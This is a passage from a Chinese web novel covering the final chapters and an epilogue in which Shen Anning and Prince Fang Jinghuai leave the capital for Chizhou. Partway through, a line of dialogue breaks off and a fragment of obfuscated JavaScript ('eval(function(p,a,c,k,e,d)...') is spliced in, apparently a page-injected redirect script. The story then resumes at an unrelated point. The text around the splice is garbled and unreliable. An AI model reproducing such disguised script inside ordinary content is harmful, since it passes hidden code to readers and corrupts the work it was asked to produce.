沈安宁道:“日后若再有这种事,应当先与我商量!” “我知道你肯定不会……”方景淮一边走到一旁坐下,一边说着,忽然想到什么,动作一顿,又看向沈安宁,道:“日后?” 沈安宁一愣,走到他一旁坐下,“我准备回平川了!” 方景淮目光一路跟着沈安宁,这时梁妈妈上前送来了茶水,递给沈安宁后盯着沈安宁看了片刻,方景淮见状咳了两声,梁妈妈才低头离开了。 看着梁妈妈走后,方景淮问道:“什么时候动身?” “就这几天吧!”沈安宁侧头迎上了方景淮的目光,“等朝廷这边的事都处理好了就动身!” 方景淮点了点头,两人就这样沉默了一会,像是等着对方说话一般,一会后沈安宁先收回了目光,起身道:“那我就先回去了!” 方景淮也跟着起身道:“好!我送你!” 沈安宁回头看着方景淮,轻轻点头,方景淮将沈安宁送出了府,两人抬头看着已经换好的长靖王府的匾额,方景淮低头轻笑了一声,道:“路上小心!” 沈安宁一点头,便转身离开了,方景淮看着沈安宁离开的背影笑了笑,才回了府中。 沈安宁心中有些闷,便想着就要离开了,还是去庙里看看,于是她又动身去了庙中。 看着沈海、江秋妤和阿月三人的棺椁,又看着阿月棺椁前新鲜的点心,沈安宁心中很不好受,她点了三柱香拜了拜,忽然听见一旁传来纸张摩擦的声响,沈安宁思量了片刻便知那是方景渝。 沈安宁插好了香走向声响传来处,见方景渝正在阿月的棺椁旁抄着经文,沈安宁轻叹了口气,上前行礼道:“晋王!” 方景渝抬头看了一眼沈安宁,应了一声后又继续抄着经文。 沈安宁道:“我打算带着阿月回赤州了!” 方景渝这才停下手中的笔,抬头看向沈安宁,沉默了许久后问道:“什么时候?” “等朝中事宜处理妥当后就动身。” 方景渝低头看着还未干的经文又沉默了许久,就在沈安宁以为他不会说话准备告辞时,方景渝又问道:“我能……和你一起送她去赤州吗?我想多陪陪她!” 沈安宁思量了片刻,准备劝慰的话终究没说出口,况且他是王爷,想去哪也用不着征得自己的同意,但沈安宁侧头看了一眼阿月的棺椁,还是说道:“王爷想去便去吧!” 方景渝道了一声多谢,又继续抄写的经文,沈安宁见状告了退转身离开了。 转眼到了陶峰斩首的日子,叶云舒正要前往大狱,刚出了酒楼就见陈子洵站在外面,两人像是明白对方的意图,并未开口,两人便并肩朝大狱走去。 两人到了大狱门口时,见一个小娘子正朝大狱里张望,两人见到此人都觉得眼熟,却都想不起在哪见过,忽然邵盛、邵暮和银杏以及邵府党羽被押了出来,准备送往刑场,那小娘子哭道:“小姐!” 邵暮闻声回头看了一眼,便被狱卒推着往前走,送进了囚车中,小娘子哭着想要上前,被狱卒吓住了脚步,邵暮收回了目光,不再去看她,直到囚车都被送走,山桃才转身低着头抽泣着离开。 山桃经过了叶云舒和陈子洵,低身一礼又继续往前走了。 叶云舒和陈子洵两人对视了一眼,这时陶峰被送了出来,叶云舒和陈子洵两人立即上前,陶峰看见了叶云舒,只点了点头就被押上囚车,叶云舒一路跟着囚车到了刑场,陈子洵也一直跟着她。 因三案并查,牵扯的人太多了!因此像是每天都有人被砍头一般,等叶云舒替陶峰收了尸,陈子洵便和叶云舒一道将陶峰葬在了他师父叶青松夫妇旁。 因为梁家平反,之前钟意兰收尸葬的无名坟如今都立了碑,叶云舒跪在坟前,给他们烧了一些纸钱,一旁的陈子洵叶跟着跪了下来拜了三拜。 等到两人返程时,已是夕阳西下了,陈子洵侧头看着夕阳下的叶云舒,问道:“叶姑娘,阿宁说,即使再不舍得也不能强求,因为每个人都有自己想要去做的事,叶姑娘,但我还是想告诉,往后我都想和你一起!但南州需要我,我……就要回南州了!” 叶云舒迎上陈子洵的目光,“那你知道我想要去做什么吗?” 陈子洵一愣,挠了挠后脑勺,“叶姑娘,你要离开太医署吗?” 叶云舒道:“身为医者,到哪都是治病救人,但我想,军队里应该更需要我!” 陈子洵楞了半响,忽然开心道:“你是说……你要去当军医?” 叶云舒笑着转身就走,陈子洵立即跟上,笑道:“叶姑娘,你是想去哪个军营?” 叶云舒忽然来了兴致,道:“自然是平川!” 陈子洵一下便笑不出来了,但楞了片刻又道:“平川也好!只要你喜欢,况且有阿宁和师父,还有张叔照应着!不过平川多战,你一定要保护好自己!” 叶云舒低头笑了笑,陈子洵不解,两人一道回了城中。 夜里,沈安宁练了会枪,见晴云送来了一碗汤,便收了枪坐到了院中的石桌旁,晴云立即道:“小姐!你喝着汤,明日就要回平川了,还有很多东西需要收拾,我先去忙了!” 沈安宁点了点头,晴云出去后不一会张千来了,一见桌上了汤便丝毫不客气地端起来喝了,“晴云的手艺越来越好了!” 往日里,若没什么大事,张千从不会在这个时候来府上找沈安宁,因此沈安宁问道:“出什么事了吗?” 张千放下了碗道:“没什么事!只是想喝汤了!” 沈安宁不解,张千思忖了片刻,才道:“其实这些日子我叶看出来了,你若开口,他会留在赤州的!” 沈安宁明白他说得是方景淮,轻叹了口气道:“留下又怎样,他被困在这洛京太久了,一心向往群山向阳河流,若因我又被困平川,那又算什么呢?” “可你们不是……” 沈安宁起身看向刚放下的长枪,“阿娘从来不喜欢刀枪剑戟,却也从未阻止过阿爹上战场,况且,我也有想要去做的事……” 张千不解道:“那你拼了命去给他找药是为了什么?” “自然是希望他能健康平安。” “你不想和他在一起吗?” 沈安宁沉默了片刻,道:“想啊!可我更想他去做自己想做的事,我已经决定一生驻守平川,他刚从困了他二十三年的宫中逃离,我不想他又困在平川。” 张千起身走向沈安宁道:“可平川有你啊?和宫里可不一样!” 沈安宁回头看向张千,“有何不一样,不过是借着相爱的名义行要挟之事罢了!我不想困着他,他向往江河群山,我也有自己所向往的,我不想为他放弃我想要的,也不想他为我放弃,能够相遇已是缘分,日后我会好好珍藏这份缘分的!” 张千盯着沈安宁半响不知该说什么,最后叹了口气道:“唉!算了!你们自己的事你们自己看着办吧!我是管不了你了!” 说完张千便转身离开了沈府,沈安宁抬头看向那轮明月,一个人在院中站了许久。 月光下,方景淮正坐在屋檐下看着月亮,屋内的梁妈妈和下人正在收拾着画卷,梁妈妈盯着方景淮犹豫了许久,才上前道:“王爷,我们明日出发去赤州吗?” 方景淮并未回头,像是那月亮上有什么让他挪不开目光一般,“是啊!把阿娘的画卷都收好!往后我们不会再回洛京了!” 梁妈妈又道:“那……王爷日后在赤州住下吗?” 方景淮闻声回头,见梁妈妈欲言又止是神情,便问道:“你是想问阿宁吧?” 梁妈妈点了点头,方景淮将手中的青铜扇一展,看着扇面中的画笑了笑。 梁妈妈又问道:“难道王爷不想娶沈姑娘吗?” 方景淮摸了摸扇面,“我当然想娶她,但这世间仍对女子有诸多偏见,她的光芒太盛,本应该肆意放飞,若是嫁于了我,别人只会唤她王妃,反而会为她光芒增添了一抹灰色,我想她应该更喜欢做沈元帅,而不是王妃!此生若她想嫁人,那我必定不让于他人,若是她不想,那我们便这样也好,将来老了,她拿不起枪我也拿不起笔了,我们两人再寻一个清静的小院,种上几株梨花,花开时俩个人可以喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杜煖笑道:“我不会无聊的!托沈元帅的福,圣上已经下旨,从今往后,女子也能参与科举,进入朝堂了,我要专心科举了!” 方昭潇听后笑道:“那好了!往后你是文状元,我就是武状元!” 说着大家都笑了,杜煖和方昭溪一路将她们送到城门口,眼看着队伍就要出城门,忽然沈安宁脱离了队伍折返,到了方昭溪面前下马道:“若是洛京待得不舒服,可以去赤州找我!” 方昭溪一愣,她自然明白沈安宁这样说是为了什么,邵府牵连三案,即使方书君没有处置邵贵妃,可是人都知道邵贵妃必定牵扯其中,往后在洛京的日子确实不会像往日里了。 “你放心吧!我才不会到那一步的!” 沈安宁点了点头,重新翻身上马跟上了队伍,杜煖早已经回去,方昭溪看着队伍渐渐消失,才带着山丹转身离开。 队伍刚出城没多久,就遇见了一个熟人,沈安宁低头一笑,那人坐在马车里说道:“乘风好去,长空万里,直下看山河。本王打算周游四海,这首先要去的便是赤州城,想来和沈元帅同路,不知可否有幸能与沈元帅同行,一路上能得沈元帅照应,也就不惧那些流匪强盗!” 沈安宁笑了一声,“那就要看长靖王能不能跟上了?” 方景淮看着沈安宁笑了笑,后面一辆马车里的人掀开了车帘,梁妈妈朝沈安宁道:“沈姑娘!” 沈安宁点了点头,见方昭浅坐在那马车里,方景淮见沈安宁看向后面的马车,便道:“她也同路!” 沈安宁回头道:“那便启程吧!” 队伍又动了起来,沈安宁回头,落日熔金,暮云合璧,城墙上下都被笼罩在红色的夕阳下,像极了第一次进京时的情形,只是这次,城楼上那人在自己身旁。 方景淮从车窗里探出头来。 沈安宁忽然道:“骑马吗?” 方景淮笑了笑,放下了手中茶杯,出了马车,伸了个懒腰,就上了一匹马,转身看向沈安宁,“来比一场吗?” 沈安宁笑道:“好啊!” 两个骑着马的身影在夕阳下奔跑了起来,一路穿过了前面的队伍,众人见他们跑过,只是笑着看着奔跑的两人。 ——正文完—— 126. 番外 自方书君登基已有三年,这三年来新帝勤政爱民、励精图治,姜国上下在他的治理下也算井井有条,只有杞国仍虎视眈眈,因此平川守备依旧森严,沈安宁的全兵皆农计策也在军中实施。 又是一年春暮,破晓时分,天边泛起了鱼肚白,一望无际的草原上走来一支举着沈字旗的军队,天虽未大亮,但士兵各个步伐坚定有力,队伍最前方便是沈安宁和几位将领。 张千回头看了一眼将出未出的太阳,长叹一声道:“这三个月换防可累死我了!” 沈安宁坐在三妹背上,笑了笑。 张千眼珠一转,凑近沈安宁笑着打趣道:“这回走这么快,提前了一天回来,难道是想去堵他?” 沈安宁侧头看了一眼张千,她并不想反驳,每次回程自己确实总是开心的,因为赤州城里还有一个闲散的王爷在等她。 虽说三年前和杞国约定休战,但杞国依旧贼心不死,三年来屡屡试探,这三年来她偶尔带兵出去打仗,有时一去就是几个月或者更长,每次她一走,便会有赤州城的消息传来,说那个闲散王爷也出了城,至于去了哪却不知道。 起初沈安宁以为方景淮终于要去完成自己的愿望,走遍世间,画山画水,可当她回到赤州时,方景淮却先一步回到了赤州在沈府等着自己,并和自己说起他这回去过的地方,带回来了哪些山水,遇见了哪些趣事。 沈安宁自然是很开心,可久而久之她就察觉了异常,一次两次可以说是巧合,可每次方景淮总能先她一步回到赤州城,这让沈安宁有些疑惑,直到有一次,队伍临时准备回平川时,沈安宁发现张千抱着一只青赤色的鸟,一边吩咐小兵赶快去放飞还一边骂骂咧咧的,才终于明白原来方景淮有内应。 张千见沈安宁不说话,也不再继续,微风起,吹动了沈安宁的红色发带,张千瞧了一眼那发带,也收了玩笑,正经起来道:“阿宁,之前你在替大哥大嫂守孝,我也不好多说什么,只是现在,孝期已过,你和他……” 沈安宁没有回答他,只说道:“张叔,前面就是平川了,你带着队伍回去整顿,我先走一步了!” 说完沈安宁没等张千再说,就骑着三妹离开了,张千看着沈安宁的背影叹了口气,带着队伍回了军营。 沈安宁一路绕到了赤州城外的小道处,这是条近路,方景淮要比自己先到必然是要走这一条的,沈安宁便沿着这条路走去。 另一边的方景淮日夜兼程,总算是看见了赤州城,忽然从路边遄窜出来了六七个人,各个虎背熊腰,手拿大刀,拦下了方景淮的马,由于跑得太快方景淮差点摔了下来。 等方景淮看清众人后,知道是遇见了一伙强盗,被恐吓着下了马,为首的强盗将大刀抗在肩上,上下打量了方景淮一眼,道:“留下买路财!绕你一命!” 方景淮拿着青铜扇,忖量了左右,笑道:“好啊!” 说着方景淮将自己的荷包取下扔了过去,为首的强盗一见手中那干瘪的荷包,又看向方景淮,见他穿的虽不像是个富贵公子,但也不至于只有这点,强盗怒道:“你是在玩我?” 说着几人就要上前,方景淮立即道:“各位好汉!我身上确实只有这么点!不过我家中有些银钱,不如你们随我去取?” 方景淮右边的强盗道:“你当我们傻吗?跟你去了别说拿钱了,连小命都会不保!” “那……”方景淮思量了片刻,又道:“那你们派人去取,我在这等着,等你们拿到了钱再放了我,如何?” 几个强盗互相看了看,最后还是为首的那人道:“好!你叫什么,家住何处!拿个你身上的物件给我们!” 方景淮想了想,道:“在下姓沈,沈小九,家住赤……” “等等……”一个强盗忙道:“沈?” 方景淮认真地点了点头,那强盗走近匪首,低声道:“大哥,这人不会和沈元帅有什么关系吧?我们可不要惹上官府了!” 为首的强盗正要说话,忽然一块石头飞来,几人迅速躲开,这时方景淮被人拉着退出了强盗的控制,等方景淮站稳后,才看清眼前正是沈安宁,于是展颜一笑,道:“阿宁!” 几个强盗立即反应过来,几人互相使了个眼色就一道朝沈安宁而来,沈安宁迎了上去。 方景淮再后方拉着自己的马和三妹,见沈安宁很快收拾了两人,方景淮笑着拍了拍三妹道:“阿宁果然厉害!” 等沈安宁将几人用藤曼绑到一起时,方景淮立即上前,拿回了自己的荷包,又笑着朝沈安宁道:“看来我也要学武,不然将来又遇见强盗了怎么办?” 说着顿了顿又道:“阿宁,你不会是来接我的吧?” 沈安宁将藤曼丢给他,道:“那还不快回去?” “好嘞!” 方景淮笑了笑,拉着几个强盗跟着沈安宁回了赤州城,交给了城门的士兵送到了官府。 几日后,张千和李万正再沈府书房中和沈安宁商量军务,只是张千被这满屋子的画卷扰得总是东张西望,“这长靖王府是连张画都放不下了吗?” 沈安宁也看了一眼四周的画卷,这是昨日才送到驿站的,是这次方景淮出去游玩画来的山水。 李万瞧了一眼,又忽然想起了什么,道:“对了阿宁,听说今早来了圣旨,可是圣上有何吩咐?” 沈安宁摇了摇头,方书君的圣旨没有送到军营,而是送到了沈府,除了一些日常的事务,就派送旨的小公公问了句:为何只给方昭溪送了酒没有给他? 这让沈安宁很是不解,这酒是方景淮所酿,他想要酿出比一株雪还要美味的梨花酒,于是在他自己住的院子中种了几株梨树,今年开满了梨花,于是酿了十几坛酒,他让沈安宁拿了送人,想要告诉别人这是他酿的梨花酒,还 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沈安宁将信件给他们,道:“燕姨说收到了酒,南州战事平稳,准备带着叶姑娘和三公主前来赤州看我们!” 方昭潇开心道:“阿姐会来?” 沈安宁点了点头,方昭潇拉着晴云道:“我阿姐会来赤州!” 晴云笑着附和道:“我知道了!” 梁妈妈开心道:“这是好事!我这就去买些菜回来!” 张千忙拉着她道:“急什么?二嫂只说会来,这会说不定还在路上呢!” 晴云便道:“是该买些菜来,难得今日你们都有空闲,今夜不如就在府中一起吃?大家都在,也热闹一些!” 方昭潇道:“好啊!我和你们去买菜!” “你们回来时,四公主教学也该结束了!到时一道请……”沈安宁说到这顿了顿,思量了片刻又道:“算了!四公主还是让吕叔去请,你们去请文熙王!这个时候……他应该还在他的糕点铺,你们可以顺道买些糕点来!” 方昭浅来了赤州后便在城内开了一家学院,后来前来听学的人越来越多,方昭浅也越来越忙,常常见不到人。 倒是方景渝,在城中开了一间糕点铺子,时常接济吃不起饭的人,也经常是不收钱,以至于铺子只有支出几乎没有收入,但也总是人满为患,他白日里就在铺子呆着,到了黄昏时分就端着一些糕点去那个阿月提到过的长满月见花的山谷坐着。 晴云应下,和梁妈妈带着方昭潇出门前去买菜,张千、李万和江时鸣也跟了出去。 沈安宁回头,见方景淮双手抱胸,靠在梨树上看着自己。 见沈安宁回头后,方景淮眉眼一弯,风吹落了的梨花在空中飞舞,两人在花雨中相视一笑。